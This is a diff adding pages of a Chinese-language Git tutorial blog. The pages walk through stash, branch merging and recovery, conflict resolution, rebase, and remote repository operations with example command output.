+Switched to branch 'main'
+Your branch is ahead of 'origin/main' by 1 commit.
+  (use "git push" to publish your local commits)
+
+$ git stash pop
+On branch main
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+Dropped refs/stash@{0} (f4a0c807addcd08959555e02d4191fb5324dad88)
+

可以看到仓库状态又变成了未暂存的修改,一旦临时修改被恢复过后,它就会被移出,正如pop所表达的含义一样。我们可以进行多次临时保存,并选择特定的修改来恢复。这里分别进行两次修改,然后临时保存两次。

$ echo "123" >> hello.txt
+$ git stash
+Saved working directory and index state WIP on test: 0224b74 initial commit
+$ echo "12345" >> hello.txt
+$ git stash
+Saved working directory and index state WIP on test: 0224b74 initial commit
+$ git stash show
+ hello.txt | 1 +
+ 1 file changed, 1 insertion(+)
+$ git stash list
+stash@{0}: WIP on test: 0224b74 initial commit
+stash@{1}: WIP on test: 0224b74 initial commit
+

通过输出可以发现有两个临时保存的修改,存放的顺序就跟栈一样,后进先出,最上面的就是最新的修改。这时可以使用命令git stash apply来恢复指定的修改。

$ git stash apply stash@P{index}
+

如果恢复完成过后,想要删除的话,使用如下命令

$ git stash drop stash@P{index}
+

git stash pop就是将最近的一次修改恢复并删除。也可以使用clear命令来一次性删除所有的修改

$ git stash clear
+

在上面的输出中可以看到,stash输出的修改列表除了索引不一样,其它都没什么区别,这样很难区分到底做了什么修改。为此,可以加上-m参数。

$ echo "456" >> hello.txt
+$ git stash push -m "456"
+Saved working directory and index state On test: 456
+$ git stash list
+stash@{0}: On test: 456
+$ echo "789" >> hello.txt
+$ git stash -m "789"
+Saved working directory and index state On test: 789
+$ git stash list
+stash@{0}: On test: 789
+stash@{1}: On test: 456
+

从输出中可以看到,当git stash不带子命令直接执行时,其实就是执行的git stash push,加上-m参数以后,查看修改历史就可以看到我们自定义的信息了。

合并删除

git支持多分支开发,也非常鼓励多分支开发。一般而言,一个项目会有一个主分支,也是就是main或master(只是一个名字而已,叫什么不重要),主分支的代码是最稳定的,通常软件发版就是在主分支发行。当你后期想要添加一个新特性,或者修复一个问题,你可以直接修改主分支代码,但这就破坏了主分支的稳定性,为此可以新建一个分支来做这类工作,新分支的代码可能不那么稳定,开发人员通常会在新分支上捣鼓各种奇奇怪怪的东西,等到稳定后就可以将修改合并到主分支上,又或者是放弃此前的工作,直接删除该分支。所以,在git中你可以随意的新建和删除分支并且不需要什么成本。

下面会做一些例子来进行演示,首先先看看仓库中有哪些分支

$$ git branch -l
+* main
+  op
+  test
+

可以看到,总共有三个分支,git用* 标注了当前所在的分支,为了方便演示先将hello.txt文件清空并提交。

$ echo "" > hello.txt
+$ git commit -a -m "clear hello.txt"
+[main a35c102] clear hello.txt
+ 1 file changed, 1 insertion(+), 17 deletions(-)
+

随后再新建一个feature分支并切换过去。这里之所以叫feature是表示新增特性,你也可以取其它名字,比如hotfix,即热修复,或者patch,表示补丁,这些名字并不是强制要求的,仅仅只是一个规范,你可以取你想要的任何名字。

$ git checkout -b feature
+Switched to a new branch 'feature'
+$ git log --oneline
+a35c102 (HEAD -> feature, main) clear hello.txt
+0224b74 (test, op) initial commit
+

可以看到四个分支中,test与op分支指向的0224b74提交,而feature与main分支都指向的是最新的提交。接下来在feature分支做一些修改并提交。

$ echo "this is a new feature" >> hello.txt
+$ git commit -a -m "add new feature"
+[feature 28d8277] add new feature
+ 1 file changed, 1 insertion(+)
+$ echo "this is another new feature" >> hello.txt
+$ git commit -a -m "another new feature"
+[feature 0658483] another new feature
+ 1 file changed, 1 insertion(+)
+ $ git log --oneline
+0658483 (HEAD -> feature) another new feature
+28d8277 add new feature
+a35c102 (main) clear hello.txt
+0224b74 (test, op) initial commit
+

可以看到feature分支已经领先main两个提交了,前面提到过未提交的修改在切换分支后会丢失,这里将修改提交后切换分支就没什么问题了。这个时候想要合并分支的话,由于我们将main分支作为主分支,所以需要先切回到main分支,git会将当前所作的分支作为被并入的分支,然后再使用git merge命令合并。

$ git checkout main
+Switched to branch 'main'
+
+$ git merge feature
+Updating a35c102..0658483
+Fast-forward
+ hello.txt | 2 ++
+ 1 file changed, 2 insertions(+)
+$ cat hello.txt
+
+this is a new feature
+this is another new feature
+$ git log --oneline
+0658483 (HEAD -> main, feature) another new feature
+28d8277 add new feature
+a35c102 clear hello.txt
+0224b74 (test, op) initial commit
+

合并成功后,查看hello.txt文件就可以看到新的变化了。当一个分支成功合并以后,这个分支就没用了,所以可以将其删除。

$ git branch -d feature
+Deleted branch feature (was 0658483).
+
+$ git branch -l
+* main
+  op
+  test
+

删除后再次查看分支列表,就会发现不存在了,此时main分支的代码就已经是最新的了。

恢复分支

在进行日常操作时,总会不可避免将分支误删除,之前讲到过分支其实就是一个指向提交的指针,而删除分支只是删除这个指针,至于那些提交不会有任何变化,所以恢复的关键点在于找到提交。在先前的例子中,我们已经将feature分支删除了,为了恢复该分支,我们先看看git的引用日志。

$ git reflog
+0658483 (HEAD -> main) HEAD@{0}: merge feature: Fast-forward
+a35c102 HEAD@{1}: checkout: moving from feature to main
+0658483 (HEAD -> main) HEAD@{2}: checkout: moving from main to feature
+a35c102 HEAD@{3}: checkout: moving from main to main
+a35c102 HEAD@{4}: checkout: moving from feature to main
+0658483 (HEAD -> main) HEAD@{5}: checkout: moving from main to feature
+a35c102 HEAD@{6}: checkout: moving from feature to main
+0658483 (HEAD -> main) HEAD@{7}: commit: another new feature
+28d8277 HEAD@{8}: commit: add new feature
+a35c102 HEAD@{9}: checkout: moving from main to feature
+a35c102 HEAD@{10}: commit: clear hello.txt
+0224b74 (test, op) HEAD@{11}: checkout: moving from test to main
+0224b74 (test, op) HEAD@{12}: reset: moving to HEAD
+0224b74 (test, op) HEAD@{13}: reset: moving to HEAD
+0224b74 (test, op) HEAD@{14}: reset: moving to HEAD
+0224b74 (test, op) HEAD@{15}: reset: moving to HEAD
+0224b74 (test, op) HEAD@{16}: checkout: moving from op to test
+0224b74 (test, op) HEAD@{17}: checkout: moving from main to op
+0224b74 (test, op) HEAD@{18}: checkout: moving from test to main
+0224b74 (test, op) HEAD@{19}: reset: moving to HEAD
+0224b74 (test, op) HEAD@{20}: commit (initial): initial commit
+

关键点在于这一条,这时我们在feature分支做的最后一个提交

0658483 (HEAD -> main) HEAD@{7}: commit: another new feature
+

使用该commitId创建一个新分支

$ git checkout -b feature_v2 0658483
+Switched to a new branch 'feature_v2'
+$ git log --oneline
+0658483 (HEAD -> feature_v2, main) another new feature
+28d8277 add new feature
+a35c102 clear hello.txt
+0224b74 (test, op) initial commit
+

从输出中可以看到,在先前feature分支的提交都已经恢复了。

冲突解决

上述过程就是一个多分支开发的例子,这个简单的案例中只涉及到了一个文件的变化,在使用的过程中很难会出什么问题。不过在实际项目中从主分支中创建一个新分支,主分支在合并前就可能有了很多的新的提交,这些提交可能是从其它分支中合并来的,新的提交可能会涉及到很多文件的新增,修改,删除,而新分支也是同样如此,这样一来在合并时就不可避免的会出现冲突,只有将冲突解决后,才能成功合并。如图所示

为了演示冲突,先在从当前提交创建一个新分支,并做一些修改。

$ git checkout -b conflict
+Switched to a new branch 'conflict'
+
+$ echo "this is update at conflict branch" >> hello.txt
+
+$ git commit -a -m "update hello.txt"
+[conflict 2ae76e4] update hello.txt
+ 1 file changed, 1 insertion(+)
+

然后切回main分支,再做一个修改并提交。

$ git checkout main
+Switched to branch 'main'
+
+$ echo "this is a update at main branch" >> hello.txt
+
+$ git commit -a -m "update hello.txt"
+[main fd66aec] update hello.txt
+ 1 file changed, 1 insertion(+)
+

此时查看提交历史,就跟上图描述的差不多

$ git log --graph --all --oneline
+* fd66aec (HEAD -> main) update hello.txt
+| * 2ae76e4 (conflict) update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

现在开始准备合并,git会提示你没法合并,因为有文件冲突,只有将冲突解决了才能合并。

$ git merge conflict
+Auto-merging hello.txt
+CONFLICT (content): Merge conflict in hello.txt
+Automatic merge failed; fix conflicts and then commit the result.
+$ git status
+On branch main
+You have unmerged paths.
+  (fix conflicts and run "git commit")
+  (use "git merge --abort" to abort the merge)
+
+Unmerged paths:
+  (use "git add <file>..." to mark resolution)
+        both modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+

这时看看hello.txt文件

$ cat hello.txt
+
+this is a new feature
+this is another new feature
+<<<<<<< HEAD
+this is a update at main branch
+=======
+this is update at conflict branch
+>>>>>>> conflict
+

会发现git已经给你标记好了哪些修改是main分支做的,哪些修改conflict分支做的,由于同时修改了同一个文件,所以产生了冲突。我们使用vim将文件修改成如下内容。


+this is a new feature
+this is another new feature
+this is a update at main branch
+this is update at conflict branch
+

实际上只是去掉了git后面加的标记,因为这两个分支的修改我们都需要保留,只有将git冲突标记去掉后,git才会认为是真正解决了冲突,然后再将修改提交。

$ git commit -a -m "merged from conflict"
+[main 388811a] merged from conflict
+$ git log --oneline --graph --all
+*   388811a (HEAD -> main) merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

main分支和conflict分支最初的父提交都是0658483 ,而后两个分支分别做各自的修改,它们的最新提交分别是fd66aec2ae76e4。这样一来,git在合并时就会比对这三个提交所对应的快照,进行一个三方合并。而在之前的feature分支中,由于main分支并未做出任何新的提交,所以合并后提交历史依旧是线性的,也就不需要三方合并。从提交历史中可以看到,此时两个分支的提交已经被合并了,而且还多了一个新的提交,这个提交被称为合并提交,它用来记录一次三方合并操作,这样一来合并操作就会被记录到提交历史中,合并后的仓库提交历史如图所示。

在提交历史中可以清晰的看到,这是一次合并提交

commit 388811a9465176c7dadfa75f06c41c7f66cb88a2
+Merge: fd66aec 2ae76e4
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 9 10:24:07 2023 +0800
+
+    merged from conflict
+

Merge: fd66aec 2ae76e4这一行描述了合并前两个分支所指向的最新的提交,通过这两个commitid,也可以很轻松的恢复原分支。

变基操作

在git中整合不同分支的方法除了合并merge之外,还有一个方法就是变基rebase。在之前的例子中,我们可以得知,合并操作会将对两个分支进行三方合并,最终结果是生成了一个新的提交,并且这个提交在历史中会被记录。而变基则相反,它不会生成一个新的提交,对于上图这种状态,它会将feature分支上所有的修改都移到main分支上,原本feature分支是从Commit2的基础之上新建来的,执行rebase操作后,feature分支中的Commit4将会指向Commit3,这一过程就被称作变基,就如下图所示。然后就只需要一个普通合并让main分支指向Commit5就完成操作了。

双分支

下面会例子来进行演示,首先在main分支对README.md文件做修改并提交。

$ echo "123" >> README.md
+
+$ git commit -a -m "update README"
+[main 0d096d1] update README
+ 1 file changed, 1 insertion(+)
+

然后在前一个提交的基础上新建一个名为feature_v3的分支,在该分支上对hello.txt进行修改并提交

$ git branch feature_V3 388811a
+
+$ git switch feature_V3
+Switched to branch 'feature_V3'
+
+$ echo "456" >> hello.txt
+
+$ git commit -a -m "update hello.txt"
+[feature_V3 63f5bc8] update hello.txt
+ 1 file changed, 1 insertion(+)
+

此时仓库状态跟下面的输出一样,是分叉的。

$ git log --oneline --all --graph
+* 63f5bc8 (HEAD -> feature_V3) update hello.txt
+| * 0d096d1 (main) update README
+|/
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

在feature_v3分支上对main分支执行变基操作,就会发现提交历史又变成线性的了,提交63f5bc8原本指向的父提交从388811a变成了main分支的 0d096d1

$ git rebase main
+Successfully rebased and updated refs/heads/feature_V3.
+
+$ git log --oneline --graph
+* a7c0c56 (HEAD -> feature_V3) update hello.txt
+* 0d096d1 (main) update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+* 0224b74 (test, op) initial commit
+

然后再切回main分支,对feature_v3进行合并。这种合并就不是三方合并了,只是让main分支指针移动到与feautre_v3分支所指向的同一个提交,所以也不会生成新的合并提交,这种合并被称为快进合并。

$ git merge feature_v3
+Updating 0d096d1..a7c0c56
+Fast-forward
+ hello.txt | 1 +
+ 1 file changed, 1 insertion(+)
+
+$ git log --oneline --all --graph
+* a7c0c56 (HEAD -> main, feature_V3) update hello.txt
+* 0d096d1 update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

此时仓库状态就类似下图。变基与三方合并结果并没有区别,只是变基操作不会被记录在提交历史中,且提交历史看起来是线性的,能够保持提交历史的简介。

三分支

似乎从目前看来,变基要比合并好用的多,不过事实并非如此。下面来演示三个分支变基的例子。先创建一个新分支叫v1,然后在main分支上做一些修改并提交,切换到v1分支上做一些修改并提交,在这个提交的基础上再建一个新分支v2,随后又在v2分支上做一些新提交,总共三个分支。

$ git branch v1
+$ echo "123" >> hello.txt
+$ git commit -a -m "update hello.txt"
+[main e2344ae] update hello.txt
+ 1 file changed, 1 insertion(+)
+$ git checkout v1
+Switched to branch 'v1'
+$ echo "456" >> README.md
+$ git commit -a -m "update README"
+[v1 22131f9] update README
+ 1 file changed, 1 insertion(+)
+$ echo "789" >> README.md
+$ git commit -a -m "update README again"
+[v1 06983cb] update README again
+ 1 file changed, 1 insertion(+)
+$ git checkout v2
+Switched to branch 'v2'
+$ echo "good bye!" >> bye.txt
+$ git add bye.txt && git commit -a -m "add new bye.txt"
+[v2 2b14346] add new bye.txt
+ 1 file changed, 1 insertion(+)
+ create mode 100644 bye.txt
+

经过一系列修改后,就有了三个分支,并且各自都有新提交,此时仓库提交历史如下

$ git log --graph --oneline --all
+* 2b14346 (HEAD -> v2) add new bye.txt
+| * 06983cb (v1) update README again
+|/
+* 22131f9 update README
+| * e2344ae (main) update hello.txt
+|/
+* a7c0c56 (feature_V3) update hello.txt
+* 0d096d1 update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

类似下图所描述的结构

假如我想要把v2分支的修改合并到main分支中,因为v2分支的修改已经工作完毕,可以考虑合并了,但v1分支中的修改还不稳定,需要继续完善,所以只想要应用v2的修改,但并不想应用v1的修改,这就需要用到git rebase --onto

$ git rebase --onto main v1 v2
+Successfully rebased and updated refs/heads/v2.
+

通过执行上述命令,git会将v2分支变基到main分支上,git会找出v2分支从v1分支分离后的修改,将其应用在main分支上。--onto参数就是干这活的,如果直接进行变基的话,v1和v2的修改都会被应用到main分支上。

$ git log --oneline --all --graph
+* 9991f25 (HEAD -> v2) add new bye.txt
+* e2344ae (main) update hello.txt
+| * 06983cb (v1) update README again
+| * 22131f9 update README
+|/
+* a7c0c56 (feature_V3) update hello.txt
+* 0d096d1 update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

通过提交历史可以看到,此时的提交历史如下图所示

先别急着合并,在这之前,先将分支v1变基到v2分支上

$ git rebase v2 v1
+Successfully rebased and updated refs/heads/v1.
+
+$ git log --oneline --all --graph
+* ead7b89 (HEAD -> v1) update README again
+* 7b3ec3a update README
+* 9991f25 (v2) add new bye.txt
+* e2344ae (main) update hello.txt
+* a7c0c56 (feature_V3) update hello.txt
+* 0d096d1 update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

通过提交历史可以看到,此时的提交历史又变成线性的了,然后再逐一合并

$ git switch v2
+Switched to branch 'v2'
+
+$ git merge v1
+Updating 9991f25..ead7b89
+Fast-forward
+ README.md | 2 ++
+ 1 file changed, 2 insertions(+)
+
+$ git switch main
+Switched to branch 'main'
+
+$ git merge v1
+Updating e2344ae..ead7b89
+Fast-forward
+ README.md | 2 ++
+ bye.txt   | 1 +
+ 2 files changed, 3 insertions(+)
+ create mode 100644 bye.txt
+ 
+$ git log --oneline --graph --all
+* ead7b89 (HEAD -> main, v2, v1) update README again
+* 7b3ec3a update README
+* 9991f25 add new bye.txt
+* e2344ae update hello.txt
+* a7c0c56 (feature_V3) update hello.txt
+* 0d096d1 update README
+*   388811a merged from conflict
+|\
+| * 2ae76e4 (conflict) update hello.txt
+* | fd66aec update hello.txt
+|/
+* 0658483 (feature_v2) another new feature
+* 28d8277 add new feature
+* a35c102 (jkl) clear hello.txt
+| * 67f67ee (refs/stash) On test: 789
+|/|
+| * 8a311a3 index on test: 0224b74 initial commit
+|/
+* 0224b74 (test, op) initial commit
+

这样一来,所有分支的提交都变成线性的了,就如下图所示。这个例子演示了如何在变基时,选择性的合并修改,即便是四个分支,五分支也是同样如此。

缺点

就目前而言的话,变基的使用还是相当愉快的,不过愉快的前提是这个仓库只有你一个人用。变基最大的缺点就是体现在远程仓库中多人开发的时候,下面来讲一讲它的缺点。变基的实质是丢弃一些现有的提交,然后再新建一些看起来一样但其实并不一样的提交,这里拿官网的例子举例Git - 变基 (git-scm.com)open in new window,可以先去了解下远程仓库再来看这个例子。

图中分为远程仓库和本地仓库,你的本地仓库在远程仓库的基础之上做了一些修改。

然后另外一个人做了一些合并修改,并推送到远程仓库,随后你又拉取了这些修改到你的本地仓库,并将修改合并到你本地的分支,此时提交历史是这样的。

结果那个人吃饱了撑的又把合并操作撤销了,改用变基操作,然后又用git push --force覆盖了远程仓库上的提交历史。这时如果你再次拉取远程仓库上的修改,你就会发现本地仓库中多出来一些提交,这些多出来的提交,就是变基操作在目标分支上复原的提交。此时的提交历史如下图所示

可以看到c6是原来远程仓库中三方合并c1,c4,c5产生的新提交,但是那个人将合并撤销后改用变基,这就意味着c6提交在远程仓库中被废弃了,不过在你的本地仓库并没有废弃,而且你本地仓库的c7提交是从c6提交合并而来的,c4'是变基操作将c4重新在目标分支上应用而产生的新提交。再次将远程分支合并过后,其实c6与c4'这两个提交内容是完全一样的,等于是你将相同的内容又合并了一次。本地仓库的提交历史就像下图一样

c8是由合并而产生的新提交,你的本地仓库中会同时存在c4与c4'这两个提交,它们两个理应不应该同时出现,这时查看提交历史,你会发现c4与c4'的提交信息完全一模一样。更大的问题是,假如你想要把你的修改提交到远程仓库上,等于就是你把别人通过变基操作丢弃掉的提交(c4,c6)又找了回来。

面对这种问题,你应该将远程分支作为目标分支进行变基,就是执行如下命令

$ git rebase rebase teamone/master
+

或者

$ git pull --rebase
+

Git 将会进行如下操作:

  • 检查哪些提交是我们的分支上独有的(C2,C3,C4,C6,C7)
  • 检查其中哪些提交不是合并操作的结果(C2,C3,C4)
  • 检查哪些提交在对方覆盖更新时并没有被纳入目标分支(只有 C2 和 C3,因为 C4 其实就是 C4')
  • 把查到的这些提交应用在 teamone/master 上面

最终就会如下图所示,是一个线性的提交历史。

导致这种情况的原因就在于,你已经基于远程仓库的提交进行新的开发了,而对方却使用变基使得提交废弃了。建议使用变基时,最好只在你本地进行,并且只对没有推送到远程仓库的提交进行变基,这样才能安全的享受到变基带来的好处,否则的话你就有大麻烦了。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/3.remote.html b/posts/code/git/3.remote.html new file mode 100644 index 0000000..c606b73 --- /dev/null +++ b/posts/code/git/3.remote.html @@ -0,0 +1,188 @@ + + + + + + + + 远程仓库 | 寒江蓑笠翁 + + + + + + +

远程仓库

寒江蓑笠翁大约 21 分钟GitVCSGit

远程仓库

之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。

第三方托管

自建托管网站就是自己搭建的,第三方代码托管网站就是第三方搭建的,他们通过提供优质的代码托管服务,来吸引各式各样的开发人员与开源项目,时至今日,很多托管商基本上都不在局限于代码托管的功能。使用第三方托管商提供的平台,可以让开发者更专注于项目开发,而有些第三方托管商会将自己的项目开源,以供进行私有化部署,并为此提供配套的企业级服务。做的比较好的第三方托管商有以下几个

  • Github
  • GitLab
  • BiteBucket
  • Gitee
  • sourceforge
  • Coding

其中,GitHub是使用最普及的,可以说,干程序员这行就没有不知道GitHub的,本文将选择Github来作为远程仓库进行讲述。

Git代理

在本文开始讲解怎么进行远程仓库的操作之前,有一个相当重要的东西需要解决,那就是网络问题。在国内,Github是无法正常访问的,正常访问Github网站以及它提供的代码托管服务都会相当的缓慢,慢到只有几KB/s,在这种情况下,只能通过魔法上网来解决。

首先你需要自己付费购买代理服务,一般代理商都会给你提供相应的代理工具,比如我使用的代理工具是Clash for windows,它的本地代理端口是7890,并且同时支持http和socks5协议

在知晓了代理端口以后,就可以给Git bash 配置代理了

# http
+$ git config --gloabl http.proxy http://127.0.0.1:7890
+$ git config --gloabl https.proxy http://127.0.0.1:7890
+# socks5
+$ git config --global http.proxy socks5://127.0.0.1:7890
+$ git config --global https.proxy socks5://127.0.0.1:7890
+

上面的是全局设置,你可以只为特定的域名设置代理

git config --global http.https://github.com.proxy http://127.0.0.1:7890
+git config --global http.https://github.com.proxy socks5://127.0.0.1:7890
+

代理设置完毕后,再使用远程托管服务就会流畅许多。

克隆仓库

在GitHub上有着成千上万的开源仓库,如果你想要获取一个开源仓库的源代码,最好的方式就是克隆仓库,比如Go这门编程语言的开源仓库,事实上这是镜像仓库,源仓库在谷歌。

通过Code按钮可以获取该仓库的url

然后在本地找一个你觉得合适的位置来放置该项目,随后执行命令

$ git clone https://github.com/golang/go.git
+

Go源代码的大小有500MB左右,在将代码克隆到本地以后,你就可以开始独自研究,修改,并编译这些源代码了。

$ ls
+CONTRIBUTING.md  PATENTS    SECURITY.md  codereview.cfg  go.env  misc/  test/
+LICENSE          README.md  api/         doc/            lib/    src/
+

实际上git clone的url参数也可以是本地仓库,例如

$ git clone /home/bob/project/git-learn/
+

git在将仓库克隆到本地时或者检出远程分支时,会自动创建跟踪分支,跟踪分支是与远程分支有着直接关系的本地分支,比如远程分支叫origin/main,那么本地的跟踪分支就与之同名叫main,先查看下分支情况

$ git branch --all
+* main
+  remotes/origin/HEAD -> origin/main
+  remotes/origin/main
+  remotes/origin/op
+

可以看到这里有四个分支,首先main属于跟踪分支,origin/main属于远程跟踪分支,它是对于远程仓库中的分支的引用。我们后续在工作区的修改都是基于跟踪分支,远程跟踪分支是不可写的,git会在每一次fetch时更新远程跟踪分支。通过给git branch命令加上-vv参数,可以查看本地所有的跟踪分支。

$ git branch -vv
+* main f5602b9 [origin/main] Revert "revert example"
+

可以看到git只为main分支自动创建了跟踪分支。假设远程仓库初始状态如下

将代码克隆到本地后,本地仓库的状态如下图,在最开始时两个分支都指向的同一个提交。

当你在本地做了一些修改并提交,发现远程仓库上有新提交,并使用git fetch抓取了修改后,于是两个分支各自指向了不同的提交。

这时,为了同步修改,你需要将远程跟踪分支与本地跟踪分支使用git merge合并,于是两个分支又指向了同一个提交。

最终你将提交通过git push推送到了远程仓库,而此时远程仓库的状态就如下图。

这基本上就是一般远程仓库的工作流程。

关联仓库

在本地已有仓库的情况下,可以通过git remote命令将其与远程仓库关联,已知远程仓库的URL为

https://github.com/246859/git-example.git
+

那么执行git remote add <name> <url>来将其关联

$ git remote add github https://github.com/246859/git-example.git
+

通过git remote -v来查看本地仓库与之关联的远程仓库

$ git remote -v
+github  https://github.com/246859/git-example.git (fetch)
+github  https://github.com/246859/git-example.git (push)
+

仓库关联成功以后通过show子命令来查看细节

$ git remote show github
+* remote github
+  Fetch URL: https://github.com/246859/git-example.git
+  Push  URL: https://github.com/246859/git-example.git
+  HEAD branch: main
+  Remote branches:
+    main tracked
+    noop tracked
+    op   tracked
+  Local refs configured for 'git push':
+    main pushes to main (up to date)
+    op   pushes to op   (up to date)
+

如果后续不再需要了可以删除掉

$ git remote remove github
+

通过git remote rename来修改关联名称

$ git remote rename github gitea
+

或者使用git remote set-url来更新url

$ git remote set-url schema://host/repo
+

一个本地仓库也可以多同时关联多个仓库

$ git remote add gitea https://gitea.com/246859/example.git
+
+$ git remote -v
+gitea   https://gitea.com/246859/example.git (fetch)
+gitea   https://gitea.com/246859/example.git (push)
+github  https://github.com/246859/git-example.git (fetch)
+github  https://github.com/246859/git-example.git (push)
+

实际上gitea这个url并不存在,只是我随便编的,git在关联远程仓库时并不会去尝试抓取它,除非加上-f参数,因为url不存在,抓取的结果自然会失败。

$ git remote add -f gitea https://gitea.com/246859/example.git
+Updating gitea
+remote: Not found.
+fatal: repository 'https://gitea.com/246859/example.git/' not found
+error: Could not fetch gitea
+

拉取修改

在本地仓库与远程仓库刚关联时,仓库内的代码多半是不一致的,为了同步,首先需要拉取远程仓库的修改。

$ git fetch github
+remote: Enumerating objects: 28, done.
+remote: Counting objects: 100% (28/28), done.
+remote: Compressing objects: 100% (19/19), done.
+remote: Total 28 (delta 6), reused 27 (delta 5), pack-reused 0
+Unpacking objects: 100% (28/28), 2.34 KiB | 14.00 KiB/s, done.
+From https://github.com/246859/git-example
+ * [new branch]      main       -> github/main
+ * [new tag]         v1.0.0     -> v1.0.0
+ * [new tag]         v1.0.1     -> v1.0.1
+ * [new tag]         v1.0.3     -> v1.0.3
+

然后查看本地分支就会发现多出来了一个分支remotes/github/main

$ git branch -a
+  conflict
+  feature_V3
+  feature_v2
+  jkl
+* main
+  op
+  test
+  v1
+  v2
+  remotes/github/main
+

该分支就是远程仓库上的分支,git fetch命令就是将远程仓库上的修改抓取到了本地的remotes/github/main分支上,但实际上我们的工作分支是main分支,所以我们需要改将其合并

$ git merge github/main
+

如果想抓取所有远程分支的修改,可以带上--all参数。

$ git fetch --all
+

提示

如果提示fatal: refusing to merge unrelated histories ,可以加上--allow-unrelated-histories参数,之所以发生这个问题是因为两个仓库的历史不相关,是独立的。

跟踪分支

在抓取修改后,git并不会创建跟踪分支,在这种情况下,需要手动创建一个分支,然后将指定的远程分支设置为其上游分支

$ git checkout -b <branch>
+$ git branch -u <remote>/<branch>
+

或者使用更简洁但具有同样效果的命令

$ git checkout -b <branchname> <remote>/<branch> 
+

以及加上--track参数来自动创建同名的本地跟踪分支

$ git checkout --track <remote>/<branch>
+

或者你也可以只带分支名,当git发现有与之同名的远程分支就会自动跟踪

$ git checkout <branch>
+

当不再需要跟踪分支时,可以直接通过如下来撤销该分支的上游

$ git branch --unset-upstream <branch>
+

拉取合并

每一次抓取修改后都需要手动合并或许有点麻烦,为此git提供了git pull命令来一次性完成这个步骤。格式是如下

$ git pull <remote> <remote-branch>:<local-branch>
+

如果要合并的本地分支就是当前分支,则可以省略冒号以及后面的参数,例如

$ git pull github main
+From https://github.com/246859/git-example
+ * branch            main       -> FETCH_HEAD
+Already up to date.
+

同样的,它也支持 --allow-unrelated-histories参数,以及所有git fetch支持的参数。

推送修改

当你在本地完成了修改,并提交到了本地仓库时,如果想要将提交推送到远程仓库,就需要用到git push命令。

$ git push <remote>
+

该命令执行时,默认会推送当前分支的提交,如果当前分支在远程仓库上并不存在,远程仓库就会自动创建该分支,git也在控制台中输出了整个创建的过程。

$ git push github
+Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
+remote:
+remote: Create a pull request for 'op' on GitHub by visiting:
+remote:      https://github.com/246859/git-example/pull/new/op
+remote:
+To https://github.com/246859/git-example.git
+ * [new branch]      op -> op
+

或者你也可以推送指定分支以及指定远程分支的名称

$ git push github op:noop
+Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
+remote:
+remote: Create a pull request for 'noop' on GitHub by visiting:
+remote:      https://github.com/246859/git-example/pull/new/noop
+remote:
+To https://github.com/246859/git-example.git
+ * [new branch]      op -> noop
+

如果想要删除远程分支,只需要加上一个--delete参数即可,例如

$ git push github --delete noop
+To https://github.com/246859/git-example.git
+ - [deleted]         noop
+

SSH

